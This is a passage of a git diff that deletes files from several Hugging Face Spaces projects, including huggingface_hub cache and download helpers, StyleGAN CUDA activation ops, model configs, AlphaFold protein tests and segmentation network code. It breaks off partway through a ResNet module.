completed while the lock was activated. - if os.path.exists(pointer_path) and not force_download: - # Even if returning early like here, the lock will be released. - return pointer_path - - if resume_download: - incomplete_path = blob_path + ".incomplete" - - @contextmanager - def _resumable_file_manager() -> Generator[io.BufferedWriter, None, None]: - with open(incomplete_path, "ab") as f: - yield f - - temp_file_manager = _resumable_file_manager - if os.path.exists(incomplete_path): - resume_size = os.stat(incomplete_path).st_size - else: - resume_size = 0 - else: - temp_file_manager = partial( # type: ignore - tempfile.NamedTemporaryFile, mode="wb", dir=cache_dir, delete=False - ) - resume_size = 0 - - # Download to temporary file, then copy to cache dir once finished. - # Otherwise you get corrupt cache entries if the download gets interrupted. - with temp_file_manager() as temp_file: - logger.info("downloading %s to %s", url, temp_file.name) - - http_get( - url_to_download, - temp_file, - proxies=proxies, - resume_size=resume_size, - headers=headers, - expected_size=expected_size, - ) - - if local_dir is None: - logger.info(f"Storing {url} in cache at {blob_path}") - _chmod_and_replace(temp_file.name, blob_path) - _create_symlink(blob_path, pointer_path, new_blob=True) - else: - local_dir_filepath = os.path.join(local_dir, relative_filename) - os.makedirs(os.path.dirname(local_dir_filepath), exist_ok=True) - - # If "auto" (default) copy-paste small files to ease manual editing but symlink big files to save disk - # In both cases, blob file is cached. - is_big_file = os.stat(temp_file.name).st_size > constants.HF_HUB_LOCAL_DIR_AUTO_SYMLINK_THRESHOLD - if local_dir_use_symlinks is True or (local_dir_use_symlinks == "auto" and is_big_file): - logger.info(f"Storing {url} in cache at {blob_path}") - _chmod_and_replace(temp_file.name, blob_path) - logger.info("Create symlink to local dir") - _create_symlink(blob_path, local_dir_filepath, new_blob=False) - elif local_dir_use_symlinks == "auto" and not is_big_file: - logger.info(f"Storing {url} in cache at {blob_path}") - _chmod_and_replace(temp_file.name, blob_path) - logger.info("Duplicate in local dir (small file and use_symlink set to 'auto')") - shutil.copyfile(blob_path, local_dir_filepath) - else: - logger.info(f"Storing {url} in local_dir at {local_dir_filepath} (not cached).") - _chmod_and_replace(temp_file.name, local_dir_filepath) - pointer_path = local_dir_filepath # for return value - - try: - os.remove(lock_path) - except OSError: - pass - - return pointer_path - - -@validate_hf_hub_args -def try_to_load_from_cache( - repo_id: str, - filename: str, - cache_dir: Union[str, Path, None] = None, - revision: Optional[str] = None, - repo_type: Optional[str] = None, -) -> Union[str, _CACHED_NO_EXIST_T, None]: - """ - Explores the cache to return the latest cached file for a given revision if found. - - This function will not raise any exception if the file in not cached. - - Args: - cache_dir (`str` or `os.PathLike`): - The folder where the cached files lie. - repo_id (`str`): - The ID of the repo on huggingface.co. - filename (`str`): - The filename to look for inside `repo_id`. - revision (`str`, *optional*): - The specific model version to use. Will default to `"main"` if it's not provided and no `commit_hash` is - provided either. - repo_type (`str`, *optional*): - The type of the repository. Will default to `"model"`. - - Returns: - `Optional[str]` or `_CACHED_NO_EXIST`: - Will return `None` if the file was not cached. Otherwise: - - The exact path to the cached file if it's found in the cache - - A special value `_CACHED_NO_EXIST` if the file does not exist at the given commit hash and this fact was - cached. - - Example: - - ```python - from huggingface_hub import try_to_load_from_cache, _CACHED_NO_EXIST - - filepath = try_to_load_from_cache() - if isinstance(filepath, str): - # file exists and is cached - ... - elif filepath is _CACHED_NO_EXIST: - # non-existence of file is cached - ... - else: - # file is not cached - ... - ``` - """ - if revision is None: - revision = "main" - if repo_type is None: - repo_type = "model" - if repo_type not in REPO_TYPES: - raise ValueError(f"Invalid repo type: {repo_type}. Accepted repo types are: {str(REPO_TYPES)}") - if cache_dir is None: - cache_dir = HUGGINGFACE_HUB_CACHE - - object_id = repo_id.replace("/", "--") - repo_cache = os.path.join(cache_dir, f"{repo_type}s--{object_id}") - if not os.path.isdir(repo_cache): - # No cache for this model - return None - - refs_dir = os.path.join(repo_cache, "refs") - snapshots_dir = os.path.join(repo_cache, "snapshots") - no_exist_dir = os.path.join(repo_cache, ".no_exist") - - # Resolve refs (for instance to convert main to the associated commit sha) - if os.path.isdir(refs_dir): - revision_file = os.path.join(refs_dir, revision) - if os.path.isfile(revision_file): - with open(revision_file) as f: - revision = f.read() - - # Check if file is cached as "no_exist" - if os.path.isfile(os.path.join(no_exist_dir, revision, filename)): - return _CACHED_NO_EXIST - - # Check if revision folder exists - if not os.path.exists(snapshots_dir): - return None - cached_shas = os.listdir(snapshots_dir) - if revision not in cached_shas: - # No cache for this revision and we won't try to return a random revision - return None - - # Check if file exists in cache - cached_file = os.path.join(snapshots_dir, revision, filename) - return cached_file if os.path.isfile(cached_file) else None - - -@validate_hf_hub_args -def get_hf_file_metadata( - url: str, - token: Union[bool, str, None] = None, - proxies: Optional[Dict] = None, - timeout: Optional[float] = 10.0, -) -> HfFileMetadata: - """Fetch metadata of a file versioned on the Hub for a given url. - - Args: - url (`str`): - File url, for example returned by [`hf_hub_url`]. - token (`str` or `bool`, *optional*): - A token to be used for the download. - - If `True`, the token is read from the HuggingFace config - folder. - - If `False` or `None`, no token is provided. - - If a string, it's used as the authentication token. - proxies (`dict`, *optional*): - Dictionary mapping protocol to the URL of the proxy passed to - `requests.request`. - timeout (`float`, *optional*, defaults to 10): - How many seconds to wait for the server to send metadata before giving up. - - Returns: - A [`HfFileMetadata`] object containing metadata such as location, etag, size and - commit_hash. - """ - headers = build_hf_headers(token=token) - headers["Accept-Encoding"] = "identity" # prevent any compression => we want to know the real size of the file - - # Retrieve metadata - r = _request_wrapper( - method="HEAD", - url=url, - headers=headers, - allow_redirects=False, - follow_relative_redirects=True, - proxies=proxies, - timeout=timeout, - ) - hf_raise_for_status(r) - - # Return - return HfFileMetadata( - commit_hash=r.headers.get(HUGGINGFACE_HEADER_X_REPO_COMMIT), - etag=_normalize_etag( - # We favor a custom header indicating the etag of the linked resource, and - # we fallback to the regular etag header. - r.headers.get(HUGGINGFACE_HEADER_X_LINKED_ETAG) - or r.headers.get("ETag") - ), - # Either from response headers (if redirected) or defaults to request url - # Do not use directly `url`, as `_request_wrapper` might have followed relative - # redirects. - location=r.headers.get("Location") or r.request.url, # type: ignore - size=_int_or_none(r.headers.get(HUGGINGFACE_HEADER_X_LINKED_SIZE) or r.headers.get("Content-Length")), - ) - - -def _int_or_none(value: Optional[str]) -> Optional[int]: - try: - return int(value) # type: ignore - except (TypeError, ValueError): - return None - - -def _chmod_and_replace(src: str, dst: str) -> None: - """Set correct permission before moving a blob from tmp directory to cache dir. - - Do not take into account the `umask` from the process as there is no convenient way - to get it that is thread-safe. - - See: - - About umask: https://docs.python.org/3/library/os.html#os.umask - - Thread-safety: https://stackoverflow.com/a/70343066 - - About solution: https://github.com/huggingface/huggingface_hub/pull/1220#issuecomment-1326211591 - - Fix issue: https://github.com/huggingface/huggingface_hub/issues/1141 - - Fix issue: https://github.com/huggingface/huggingface_hub/issues/1215 - """ - # Get umask by creating a temporary file in the cached repo folder. - tmp_file = Path(dst).parent.parent / f"tmp_{uuid.uuid4()}" - try: - tmp_file.touch() - cache_dir_mode = Path(tmp_file).stat().st_mode - os.chmod(src, stat.S_IMODE(cache_dir_mode)) - finally: - tmp_file.unlink() - - shutil.move(src, dst) - - -def _get_pointer_path(storage_folder: str, revision: str, relative_filename: str) -> str: - # Using `os.path.abspath` instead of `Path.resolve()` to avoid resolving symlinks - snapshot_path = os.path.join(storage_folder, "snapshots") - pointer_path = os.path.join(snapshot_path, revision, relative_filename) - if Path(os.path.abspath(snapshot_path)) not in Path(os.path.abspath(pointer_path)).parents: - raise ValueError( - "Invalid pointer path: cannot create pointer path in snapshot folder if" - f" `storage_folder='{storage_folder}'`, `revision='{revision}'` and" - f" `relative_filename='{relative_filename}'`." - ) - return pointer_path - - -def _to_local_dir( - path: str, local_dir: str, relative_filename: str, use_symlinks: Union[bool, Literal["auto"]] -) -> str: - """Place a file in a local dir (different than cache_dir). - - Either symlink to blob file in cache or duplicate file depending on `use_symlinks` and file size. - """ - # Using `os.path.abspath` instead of `Path.resolve()` to avoid resolving symlinks - local_dir_filepath = os.path.join(local_dir, relative_filename) - if Path(os.path.abspath(local_dir)) not in Path(os.path.abspath(local_dir_filepath)).parents: - raise ValueError( - f"Cannot copy file '{relative_filename}' to local dir '{local_dir}': file would not be in the local" - " directory." - ) - - os.makedirs(os.path.dirname(local_dir_filepath), exist_ok=True) - real_blob_path = os.path.realpath(path) - - # If "auto" (default) copy-paste small files to ease manual editing but symlink big files to save disk - if use_symlinks == "auto": - use_symlinks = os.stat(real_blob_path).st_size > constants.HF_HUB_LOCAL_DIR_AUTO_SYMLINK_THRESHOLD - - if use_symlinks: - _create_symlink(real_blob_path, local_dir_filepath, new_blob=False) - else: - shutil.copyfile(real_blob_path, local_dir_filepath) - return local_dir_filepath diff --git a/spaces/DragGan/DragGan/stylegan_human/torch_utils/ops/bias_act.py b/spaces/DragGan/DragGan/stylegan_human/torch_utils/ops/bias_act.py deleted file mode 100644 index 8041208be7680ddeceb1a87a9db9faae7101e7bf..0000000000000000000000000000000000000000 --- a/spaces/DragGan/DragGan/stylegan_human/torch_utils/ops/bias_act.py +++ /dev/null @@ -1,214 +0,0 @@ -# Copyright (c) SenseTime Research. All rights reserved. - -# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. -# -# NVIDIA CORPORATION and its licensors retain all intellectual property -# and proprietary rights in and to this software, related documentation -# and any modifications thereto. Any use, reproduction, disclosure or -# distribution of this software and related documentation without an express -# license agreement from NVIDIA CORPORATION is strictly prohibited. - -"""Custom PyTorch ops for efficient bias and activation.""" - -import os -import warnings -import numpy as np -import torch -import dnnlib -import traceback - -from .. import custom_ops -from .. import misc - -#---------------------------------------------------------------------------- - -activation_funcs = { - 'linear': dnnlib.EasyDict(func=lambda x, **_: x, def_alpha=0, def_gain=1, cuda_idx=1, ref='', has_2nd_grad=False), - 'relu': dnnlib.EasyDict(func=lambda x, **_: torch.nn.functional.relu(x), def_alpha=0, def_gain=np.sqrt(2), cuda_idx=2, ref='y', has_2nd_grad=False), - 'lrelu': dnnlib.EasyDict(func=lambda x, alpha, **_: torch.nn.functional.leaky_relu(x, alpha), def_alpha=0.2, def_gain=np.sqrt(2), cuda_idx=3, ref='y', has_2nd_grad=False), - 'tanh': dnnlib.EasyDict(func=lambda x, **_: torch.tanh(x), def_alpha=0, def_gain=1, cuda_idx=4, ref='y', has_2nd_grad=True), - 'sigmoid': dnnlib.EasyDict(func=lambda x, **_: torch.sigmoid(x), def_alpha=0, def_gain=1, cuda_idx=5, ref='y', has_2nd_grad=True), - 'elu': dnnlib.EasyDict(func=lambda x, **_: torch.nn.functional.elu(x), def_alpha=0, def_gain=1, cuda_idx=6, ref='y', has_2nd_grad=True), - 'selu': dnnlib.EasyDict(func=lambda x, **_: torch.nn.functional.selu(x), def_alpha=0, def_gain=1, cuda_idx=7, ref='y', has_2nd_grad=True), - 'softplus': dnnlib.EasyDict(func=lambda x, **_: torch.nn.functional.softplus(x), def_alpha=0, def_gain=1, cuda_idx=8, ref='y', has_2nd_grad=True), - 'swish': dnnlib.EasyDict(func=lambda x, **_: torch.sigmoid(x) * x, def_alpha=0, def_gain=np.sqrt(2), cuda_idx=9, ref='x', has_2nd_grad=True), -} - -#---------------------------------------------------------------------------- - -_inited = False -_plugin = None -_null_tensor = torch.empty([0]) - -def _init(): - global _inited, _plugin - if not _inited: - _inited = True - sources = ['bias_act.cpp', 'bias_act.cu'] - sources = [os.path.join(os.path.dirname(__file__), s) for s in sources] - try: - _plugin = custom_ops.get_plugin('bias_act_plugin', sources=sources, extra_cuda_cflags=['--use_fast_math']) - except: - warnings.warn('Failed to build CUDA kernels for bias_act. Falling back to slow reference implementation. Details:\n\n' + traceback.format_exc()) - return _plugin is not None - -#---------------------------------------------------------------------------- - -def bias_act(x, b=None, dim=1, act='linear', alpha=None, gain=None, clamp=None, impl='cuda'): - r"""Fused bias and activation function. - - Adds bias `b` to activation tensor `x`, evaluates activation function `act`, - and scales the result by `gain`. Each of the steps is optional. In most cases, - the fused op is considerably more efficient than performing the same calculation - using standard PyTorch ops. It supports first and second order gradients, - but not third order gradients. - - Args: - x: Input activation tensor. Can be of any shape. - b: Bias vector, or `None` to disable. Must be a 1D tensor of the same type - as `x`. The shape must be known, and it must match the dimension of `x` - corresponding to `dim`. - dim: The dimension in `x` corresponding to the elements of `b`. - The value of `dim` is ignored if `b` is not specified. - act: Name of the activation function to evaluate, or `"linear"` to disable. - Can be e.g. `"relu"`, `"lrelu"`, `"tanh"`, `"sigmoid"`, `"swish"`, etc. - See `activation_funcs` for a full list. `None` is not allowed. - alpha: Shape parameter for the activation function, or `None` to use the default. - gain: Scaling factor for the output tensor, or `None` to use default. - See `activation_funcs` for the default scaling of each activation function. - If unsure, consider specifying 1. - clamp: Clamp the output values to `[-clamp, +clamp]`, or `None` to disable - the clamping (default). - impl: Name of the implementation to use. Can be `"ref"` or `"cuda"` (default). - - Returns: - Tensor of the same shape and datatype as `x`. - """ - assert isinstance(x, torch.Tensor) - assert impl in ['ref', 'cuda'] - if impl == 'cuda' and x.device.type == 'cuda' and _init(): - return _bias_act_cuda(dim=dim, act=act, alpha=alpha, gain=gain, clamp=clamp).apply(x, b) - return _bias_act_ref(x=x, b=b, dim=dim, act=act, alpha=alpha, gain=gain, clamp=clamp) - -#---------------------------------------------------------------------------- - -@misc.profiled_function -def _bias_act_ref(x, b=None, dim=1, act='linear', alpha=None, gain=None, clamp=None): - """Slow reference implementation of `bias_act()` using standard TensorFlow ops. - """ - assert isinstance(x, torch.Tensor) - assert clamp is None or clamp >= 0 - spec = activation_funcs[act] - alpha = float(alpha if alpha is not None else spec.def_alpha) - gain = float(gain if gain is not None else spec.def_gain) - clamp = float(clamp if clamp is not None else -1) - - # Add bias. - if b is not None: - assert isinstance(b, torch.Tensor) and b.ndim == 1 - assert 0 <= dim < x.ndim - assert b.shape[0] == x.shape[dim] - x = x + b.reshape([-1 if i == dim else 1 for i in range(x.ndim)]) - - # Evaluate activation function. - alpha = float(alpha) - x = spec.func(x, alpha=alpha) - - # Scale by gain. - gain = float(gain) - if gain != 1: - x = x * gain - - # Clamp. - if clamp >= 0: - x = x.clamp(-clamp, clamp) # pylint: disable=invalid-unary-operand-type - return x - -#---------------------------------------------------------------------------- - -_bias_act_cuda_cache = dict() - -def _bias_act_cuda(dim=1, act='linear', alpha=None, gain=None, clamp=None): - """Fast CUDA implementation of `bias_act()` using custom ops. - """ - # Parse arguments. - assert clamp is None or clamp >= 0 - spec = activation_funcs[act] - alpha = float(alpha if alpha is not None else spec.def_alpha) - gain = float(gain if gain is not None else spec.def_gain) - clamp = float(clamp if clamp is not None else -1) - - # Lookup from cache. - key = (dim, act, alpha, gain, clamp) - if key in _bias_act_cuda_cache: - return _bias_act_cuda_cache[key] - - # Forward op. - class BiasActCuda(torch.autograd.Function): - @staticmethod - def forward(ctx, x, b): # pylint: disable=arguments-differ - ctx.memory_format = torch.channels_last if x.ndim > 2 and x.stride()[1] == 1 else torch.contiguous_format - x = x.contiguous(memory_format=ctx.memory_format) - b = b.contiguous() if b is not None else _null_tensor - y = x - if act != 'linear' or gain != 1 or clamp >= 0 or b is not _null_tensor: - y = _plugin.bias_act(x, b, _null_tensor, _null_tensor, _null_tensor, 0, dim, spec.cuda_idx, alpha, gain, clamp) - ctx.save_for_backward( - x if 'x' in spec.ref or spec.has_2nd_grad else _null_tensor, - b if 'x' in spec.ref or spec.has_2nd_grad else _null_tensor, - y if 'y' in spec.ref else _null_tensor) - return y - - @staticmethod - def backward(ctx, dy): # pylint: disable=arguments-differ - dy = dy.contiguous(memory_format=ctx.memory_format) - x, b, y = ctx.saved_tensors - dx = None - db = None - - if ctx.needs_input_grad[0] or ctx.needs_input_grad[1]: - dx = dy - if act != 'linear' or gain != 1 or clamp >= 0: - dx = BiasActCudaGrad.apply(dy, x, b, y) - - if ctx.needs_input_grad[1]: - db = dx.sum([i for i in range(dx.ndim) if i != dim]) - - return dx, db - - # Backward op. - class BiasActCudaGrad(torch.autograd.Function): - @staticmethod - def forward(ctx, dy, x, b, y): # pylint: disable=arguments-differ - ctx.memory_format = torch.channels_last if dy.ndim > 2 and dy.stride()[1] == 1 else torch.contiguous_format - dx = _plugin.bias_act(dy, b, x, y, _null_tensor, 1, dim, spec.cuda_idx, alpha, gain, clamp) - ctx.save_for_backward( - dy if spec.has_2nd_grad else _null_tensor, - x, b, y) - return dx - - @staticmethod - def backward(ctx, d_dx): # pylint: disable=arguments-differ - d_dx = d_dx.contiguous(memory_format=ctx.memory_format) - dy, x, b, y = ctx.saved_tensors - d_dy = None - d_x = None - d_b = None - d_y = None - - if ctx.needs_input_grad[0]: - d_dy = BiasActCudaGrad.apply(d_dx, x, b, y) - - if spec.has_2nd_grad and (ctx.needs_input_grad[1] or ctx.needs_input_grad[2]): - d_x = _plugin.bias_act(d_dx, b, x, y, dy, 2, dim, spec.cuda_idx, alpha, gain, clamp) - - if spec.has_2nd_grad and ctx.needs_input_grad[2]: - d_b = d_x.sum([i for i in range(d_x.ndim) if i != dim]) - - return d_dy, d_x, d_b, d_y - - # Add to cache. - _bias_act_cuda_cache[key] = BiasActCuda - return BiasActCuda - -#---------------------------------------------------------------------------- diff --git a/spaces/ECCV2022/PSG/OpenPSG/configs/vctree/panoptic_fpn_r50_fpn_1x_predcls_psg.py b/spaces/ECCV2022/PSG/OpenPSG/configs/vctree/panoptic_fpn_r50_fpn_1x_predcls_psg.py deleted file mode 100644 index e78db15d48d404634713181231bb498ed27b936b..0000000000000000000000000000000000000000 --- a/spaces/ECCV2022/PSG/OpenPSG/configs/vctree/panoptic_fpn_r50_fpn_1x_predcls_psg.py +++ /dev/null @@ -1,43 +0,0 @@ -_base_ = [ - '../motifs/panoptic_fpn_r50_fpn_1x_predcls_psg.py', -] - -model = dict(relation_head=dict( - type='VCTreeHead', - head_config=dict( - # NOTE: Evaluation type - use_gt_box=True, - use_gt_label=True, - ), -)) - -evaluation = dict(interval=1, - metric='predcls', - relation_mode=True, - classwise=True) - -# Change batch size and learning rate -data = dict(samples_per_gpu=16, - workers_per_gpu=0) # FIXME: Is this the problem? -# optimizer = dict(lr=0.001) - -# Log config -project_name = 'openpsg' -expt_name = 'vctree_panoptic_fpn_r50_fpn_1x_predcls_psg' -work_dir = f'./work_dirs/{expt_name}' - -log_config = dict( - interval=50, - hooks=[ - dict(type='TextLoggerHook'), - # dict(type='TensorboardLoggerHook') - dict( - type='WandbLoggerHook', - init_kwargs=dict( - project=project_name, - name=expt_name, - # config=work_dir + "/cfg.yaml" - ), - ), - ], -) diff --git a/spaces/Felladrin/MiniSearch/src/modules/devTools.ts b/spaces/Felladrin/MiniSearch/src/modules/devTools.ts deleted file mode 100644 index 6f8529c51fba5f1f383a617c97c6412279193698..0000000000000000000000000000000000000000 --- a/spaces/Felladrin/MiniSearch/src/modules/devTools.ts +++ /dev/null @@ -1,9 +0,0 @@ -import "console-panel/src/console-panel.js"; -import "console-panel/src/console-panel.css"; - -declare const consolePanel: { - enable: () => void; - disable: () => void; -}; - -consolePanel.enable(); diff --git a/spaces/FrankZxShen/so-vits-svc-models-ba/vencoder/ContentVec768L9_Onnx.py b/spaces/FrankZxShen/so-vits-svc-models-ba/vencoder/ContentVec768L9_Onnx.py deleted file mode 100644 index 7cdac4cd93478d3ddddb4b76dd9d9ccc5d1af2d4..0000000000000000000000000000000000000000 --- a/spaces/FrankZxShen/so-vits-svc-models-ba/vencoder/ContentVec768L9_Onnx.py +++ /dev/null @@ -1,28 +0,0 @@ -from vencoder.encoder import SpeechEncoder -import onnxruntime -import torch - -class ContentVec768L9_Onnx(SpeechEncoder): - def __init__(self,vec_path = "pretrain/vec-768-layer-9.onnx",device=None): - print("load model(s) from {}".format(vec_path)) - self.hidden_dim = 768 - if device is None: - self.dev = torch.device("cpu") - else: - self.dev = torch.device(device) - if device == 'cpu' or device == torch.device("cpu") or device is None: - providers = ['CPUExecutionProvider'] - elif device == 'cuda' or device == torch.device("cuda"): - providers = ['CUDAExecutionProvider', 'CPUExecutionProvider'] - self.model = onnxruntime.InferenceSession(vec_path, providers=providers) - - def encoder(self, wav): - feats = wav - if feats.dim() == 2: # double channels - feats = feats.mean(-1) - assert feats.dim() == 1, feats.dim() - feats = feats.view(1, -1) - feats = feats.unsqueeze(0).cpu().detach().numpy() - onnx_input = {self.model.get_inputs()[0].name: feats} - logits = self.model.run(None, onnx_input) - return torch.tensor(logits[0]).transpose(1, 2).to(self.dev) \ No newline at end of file diff --git a/spaces/Gen-Sim/Gen-Sim/cliport/environments/__init__.py b/spaces/Gen-Sim/Gen-Sim/cliport/environments/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/GipAdonimus/Real-Time-Voice-Cloning/encoder/params_model.py b/spaces/GipAdonimus/Real-Time-Voice-Cloning/encoder/params_model.py deleted file mode 100644 index 3e356472fb5a27f370cb3920976a11d12a76c1b7..0000000000000000000000000000000000000000 --- a/spaces/GipAdonimus/Real-Time-Voice-Cloning/encoder/params_model.py +++ /dev/null @@ -1,11 +0,0 @@ - -## Model parameters -model_hidden_size = 256 -model_embedding_size = 256 -model_num_layers = 3 - - -## Training parameters -learning_rate_init = 1e-4 -speakers_per_batch = 64 -utterances_per_speaker = 10 diff --git a/spaces/Gradio-Blocks/Gradio_YOLOv5_Det/README.md b/spaces/Gradio-Blocks/Gradio_YOLOv5_Det/README.md deleted file mode 100644 index dc6de96eda057d70f31e97d5fdd60cd920256430..0000000000000000000000000000000000000000 --- a/spaces/Gradio-Blocks/Gradio_YOLOv5_Det/README.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Gradio_YOLOv5_Det -emoji: 🚀 -colorFrom: red -colorTo: red -sdk: gradio -sdk_version: 3.0.9 -app_file: app.py -pinned: true -license: gpl-3.0 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference - -🚀 Project homepage：https://gitee.com/CV_Lab/gradio_yolov5_det diff --git a/spaces/Gradio-Blocks/ML-Aided-Code-Analysis/src/test_utils.py b/spaces/Gradio-Blocks/ML-Aided-Code-Analysis/src/test_utils.py deleted file mode 100644 index 53965ad94d45a5cceb649761e4b2034611a84057..0000000000000000000000000000000000000000 --- a/spaces/Gradio-Blocks/ML-Aided-Code-Analysis/src/test_utils.py +++ /dev/null @@ -1,12 +0,0 @@ -from src.utils import GenCode, Config - -code_gen_class = GenCode(Config.code_gen_idt, gen_kwargs={}) - -def test_gen_code(): - code_snippet = "def dataset_name():\n return 'test'" - generated_code = code_gen_class(code_snippet) - print(generated_code) - - -if __name__ == "__main__": - test_gen_code() \ No newline at end of file diff --git a/spaces/Gradio-Blocks/protGPT2_gradioFold/alphafold/alphafold/common/protein_test.py b/spaces/Gradio-Blocks/protGPT2_gradioFold/alphafold/alphafold/common/protein_test.py deleted file mode 100644 index b8ae10756e99f9019aeeed082b34789cdd515774..0000000000000000000000000000000000000000 --- a/spaces/Gradio-Blocks/protGPT2_gradioFold/alphafold/alphafold/common/protein_test.py +++ /dev/null @@ -1,89 +0,0 @@ -# Copyright 2021 DeepMind Technologies Limited -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -"""Tests for protein.""" - -import os - -from absl.testing import absltest -from absl.testing import parameterized -from alphafold.common import protein -from alphafold.common import residue_constants -import numpy as np -# Internal import (7716). - -TEST_DATA_DIR = 'alphafold/common/testdata/' - - -class ProteinTest(parameterized.TestCase): - - def _check_shapes(self, prot, num_res): - """Check that the processed shapes are correct.""" - num_atoms = residue_constants.atom_type_num - self.assertEqual((num_res, num_atoms, 3), prot.atom_positions.shape) - self.assertEqual((num_res,), prot.aatype.shape) - self.assertEqual((num_res, num_atoms), prot.atom_mask.shape) - self.assertEqual((num_res,), prot.residue_index.shape) - self.assertEqual((num_res, num_atoms), prot.b_factors.shape) - - @parameterized.parameters(('2rbg.pdb', 'A', 282), - ('2rbg.pdb', 'B', 282)) - def test_from_pdb_str(self, pdb_file, chain_id, num_res): - pdb_file = os.path.join(absltest.get_default_test_srcdir(), TEST_DATA_DIR, - pdb_file) - with open(pdb_file) as f: - pdb_string = f.read() - prot = protein.from_pdb_string(pdb_string, chain_id) - self._check_shapes(prot, num_res) - self.assertGreaterEqual(prot.aatype.min(), 0) - # Allow equal since unknown restypes have index equal to restype_num. - self.assertLessEqual(prot.aatype.max(), residue_constants.restype_num) - - def test_to_pdb(self): - with open( - os.path.join(absltest.get_default_test_srcdir(), TEST_DATA_DIR, - '2rbg.pdb')) as f: - pdb_string = f.read() - prot = protein.from_pdb_string(pdb_string, chain_id='A') - pdb_string_reconstr = protein.to_pdb(prot) - prot_reconstr = protein.from_pdb_string(pdb_string_reconstr) - - np.testing.assert_array_equal(prot_reconstr.aatype, prot.aatype) - np.testing.assert_array_almost_equal( - prot_reconstr.atom_positions, prot.atom_positions) - np.testing.assert_array_almost_equal( - prot_reconstr.atom_mask, prot.atom_mask) - np.testing.assert_array_equal( - prot_reconstr.residue_index, prot.residue_index) - np.testing.assert_array_almost_equal( - prot_reconstr.b_factors, prot.b_factors) - - def test_ideal_atom_mask(self): - with open( - os.path.join(absltest.get_default_test_srcdir(), TEST_DATA_DIR, - '2rbg.pdb')) as f: - pdb_string = f.read() - prot = protein.from_pdb_string(pdb_string, chain_id='A') - ideal_mask = protein.ideal_atom_mask(prot) - non_ideal_residues = set([102] + list(range(127, 285))) - for i, (res, atom_mask) in enumerate( - zip(prot.residue_index, prot.atom_mask)): - if res in non_ideal_residues: - self.assertFalse(np.all(atom_mask == ideal_mask[i]), msg=f'{res}') - else: - self.assertTrue(np.all(atom_mask == ideal_mask[i]), msg=f'{res}') - - -if __name__ == '__main__': - absltest.main() diff --git a/spaces/Gradio-Blocks/uniformer_image_segmentation/mmseg/models/necks/multilevel_neck.py b/spaces/Gradio-Blocks/uniformer_image_segmentation/mmseg/models/necks/multilevel_neck.py deleted file mode 100644 index 7e13813b16f9bd79518451036e2dc864e84b7240..0000000000000000000000000000000000000000 --- a/spaces/Gradio-Blocks/uniformer_image_segmentation/mmseg/models/necks/multilevel_neck.py +++ /dev/null @@ -1,70 +0,0 @@ -import torch.nn as nn -import torch.nn.functional as F -from mmcv.cnn import ConvModule - -from ..builder import NECKS - - -@NECKS.register_module() -class MultiLevelNeck(nn.Module): - """MultiLevelNeck. - - A neck structure connect vit backbone and decoder_heads. - Args: - in_channels (List[int]): Number of input channels per scale. - out_channels (int): Number of output channels (used at each scale). - scales (List[int]): Scale factors for each input feature map. - norm_cfg (dict): Config dict for normalization layer. Default: None. - act_cfg (dict): Config dict for activation layer in ConvModule. - Default: None. - """ - - def __init__(self, - in_channels, - out_channels, - scales=[0.5, 1, 2, 4], - norm_cfg=None, - act_cfg=None): - super(MultiLevelNeck, self).__init__() - assert isinstance(in_channels, list) - self.in_channels = in_channels - self.out_channels = out_channels - self.scales = scales - self.num_outs = len(scales) - self.lateral_convs = nn.ModuleList() - self.convs = nn.ModuleList() - for in_channel in in_channels: - self.lateral_convs.append( - ConvModule( - in_channel, - out_channels, - kernel_size=1, - norm_cfg=norm_cfg, - act_cfg=act_cfg)) - for _ in range(self.num_outs): - self.convs.append( - ConvModule( - out_channels, - out_channels, - kernel_size=3, - padding=1, - stride=1, - norm_cfg=norm_cfg, - act_cfg=act_cfg)) - - def forward(self, inputs): - assert len(inputs) == len(self.in_channels) - print(inputs[0].shape) - inputs = [ - lateral_conv(inputs[i]) - for i, lateral_conv in enumerate(self.lateral_convs) - ] - # for len(inputs) not equal to self.num_outs - if len(inputs) == 1: - inputs = [inputs[0] for _ in range(self.num_outs)] - outs = [] - for i in range(self.num_outs): - x_resize = F.interpolate( - inputs[i], scale_factor=self.scales[i], mode='bilinear') - outs.append(self.convs[i](x_resize)) - return tuple(outs) diff --git a/spaces/HaHaBill/LandShapes-Antarctica/netdissect/segmodel/resnet.py b/spaces/HaHaBill/LandShapes-Antarctica/netdissect/segmodel/resnet.py deleted file mode 100644 index ea5fdf82fafa3058c5f00074d55fbb1e584d5865..0000000000000000000000000000000000000000 --- a/spaces/HaHaBill/LandShapes-Antarctica/netdissect/segmodel/resnet.py +++ /dev/null @@ -1,235 +0,0 @@ -import os -import sys -import torch -import torch.nn as nn -import math -try: - from lib.nn import SynchronizedBatchNorm2d -except ImportError: - from torch.nn import BatchNorm2d as SynchronizedBatchNorm2d - -try: - from urllib import urlretrieve -except ImportError: - from urllib.request import urlretrieve - - -__all__ = ['ResNet', 'resnet50', 'resnet101'] # resnet101 is coming soon! - - -model_urls = { - 'resnet50': 'http://sceneparsing.csail.mit.edu/model/pretrained_resnet/resnet50-imagenet.pth', - 'resnet101': 'http://sceneparsing.csail.mit.edu/model/pretrained_resnet/resnet101-imagenet.pth' -} - - -def conv3x3(in_planes, out_planes, stride=1): - "3x3 convolution with padding" - return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, - padding=1, bias=False) - - -class BasicBlock(nn.Module): - expansion = 1 - - def __init__(self, inplanes, planes, stride=1, downsample=None): - super(BasicBlock, self).__init__() - self.conv1 = conv3x3(inplanes, planes, stride) - self.bn1 = SynchronizedBatchNorm2d(planes) - self.relu = nn.ReLU(inplace=True) - self.conv2 = conv3x3(planes, planes) - self.bn2 = SynchronizedBatchNorm2d(planes) - self.downsample = downsample - self.stride = stride - - def forward(self, x): - residual = x - - out = self.conv1(x) - out = self.bn1(out) - out = self.relu(out) - - out = self.conv2(out) - out = self.bn2(out) - - if self.downsample is not None: 